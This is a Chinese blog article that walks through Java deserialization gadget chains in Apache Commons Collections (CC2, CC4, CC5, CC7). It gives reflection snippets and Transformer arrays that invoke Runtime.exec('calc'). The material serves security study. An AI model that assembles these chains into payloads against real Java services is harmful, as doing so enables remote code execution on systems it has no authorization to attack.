news 2026/4/23 22:38:51

JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

知识点:
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5

前面利用链都是使用commons.collections都是3.x版本的,那么来看一下4.x版本有哪些利用方式,把cc2,cc4,cc5,cc7都进行分析。

复现配置:pom.xml添加依赖:CC4版本

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5

一、CC2

cc2中不通过实例化TrAXFilter进行类加载,而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass






















0、获取对象修改成员属性

Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);

反射技术原理

1、TemplatesImpl#newTransformer

需要传入成员变量数据:_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中:在TemplatesImpl#defineTransletClasses()中,_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法,如果 _tfactory为null,此处会抛出 NullPointerException

2、InvokerTransformer

负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}

3、TransformingComparator

Comparator.compare(obj1,obj2)obj1=2obj2=templates

4、PriorityQueue

size=2


二、CC4

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass

0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动

1、ConstantTransformer

new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};

2、InstantiateTransformer

new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})




三、CC5

基本和CC1一致,入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

0、InvokerTransformer

通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型: Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");

1、ConstantTransformer

通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);

2、Transformer[]的设计是为了分步反射调用

Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};

3、LazyMap

反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);

4、TiedMapEntry

通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");

5、BadAttributeValueExpException

调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);





四、CC7

基本和CC1一致,入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 12:33:47

麦橘超然种子复现困难?随机数控制优化实战方案

麦橘超然种子复现困难&#xff1f;随机数控制优化实战方案 1. 为什么“固定种子却出不同图”成了高频吐槽&#xff1f; 你是不是也遇到过这种情况&#xff1a; 明明填了同一个种子&#xff08;seed42&#xff09;&#xff0c;输入一模一样的提示词&#xff0c;点击两次生成—…

作者头像 李华
网站建设 2026/4/19 4:48:55

2024年AI艺术创作指南:NewBie-image-Exp0.1入门必看教程

2024年AI艺术创作指南&#xff1a;NewBie-image-Exp0.1入门必看教程 你是不是也试过在AI绘图工具里反复调整提示词&#xff0c;结果生成的角色不是少只手&#xff0c;就是头发颜色和描述完全对不上&#xff1f;或者明明想画两个角色同框互动&#xff0c;却总是一个模糊、一个变…

作者头像 李华
网站建设 2026/4/17 18:24:57

Qwen3-4B生成内容不准?知识覆盖增强优化教程

Qwen3-4B生成内容不准&#xff1f;知识覆盖增强优化教程 1. 问题不是模型“不准”&#xff0c;而是你没用对它的知识优势 很多人第一次用 Qwen3-4B-Instruct-2507&#xff0c;输入一句“请介绍量子计算的基本原理”&#xff0c;得到的回答要么泛泛而谈&#xff0c;要么漏掉关…

作者头像 李华
网站建设 2026/4/18 8:33:41

DeepSeek-R1-Distill-Qwen-1.5B性能对比:数学推理任务GPU利用率实测

DeepSeek-R1-Distill-Qwen-1.5B性能对比&#xff1a;数学推理任务GPU利用率实测 你是不是也遇到过这样的情况&#xff1a;选了一个标称“轻量但强推理”的小模型&#xff0c;兴冲冲部署到显卡上&#xff0c;结果一跑数学题就卡住&#xff0c;GPU利用率忽高忽低&#xff0c;显存…

作者头像 李华
网站建设 2026/4/19 2:38:00

2026年AI图像生成入门必看:unet开源模型+弹性算力部署

2026年AI图像生成入门必看&#xff1a;UNet开源模型弹性算力部署 你是不是也试过——花半小时调参数、配环境&#xff0c;就为了把一张自拍照变成卡通头像&#xff1f;结果不是边缘糊成一团&#xff0c;就是五官扭曲得认不出自己。别折腾了。今天这篇&#xff0c;不讲晦涩的UN…

作者头像 李华
网站建设 2026/4/16 19:43:57

Llama3-8B推理速度优化:Tensor Parallel实战配置

Llama3-8B推理速度优化&#xff1a;Tensor Parallel实战配置 1. 为什么Llama3-8B需要Tensor Parallel&#xff1f; 你可能已经试过直接加载Meta-Llama-3-8B-Instruct——80亿参数、fp16整模16GB&#xff0c;RTX 3060就能跑起来&#xff0c;听起来很友好。但实际用起来会发现&…

作者头像 李华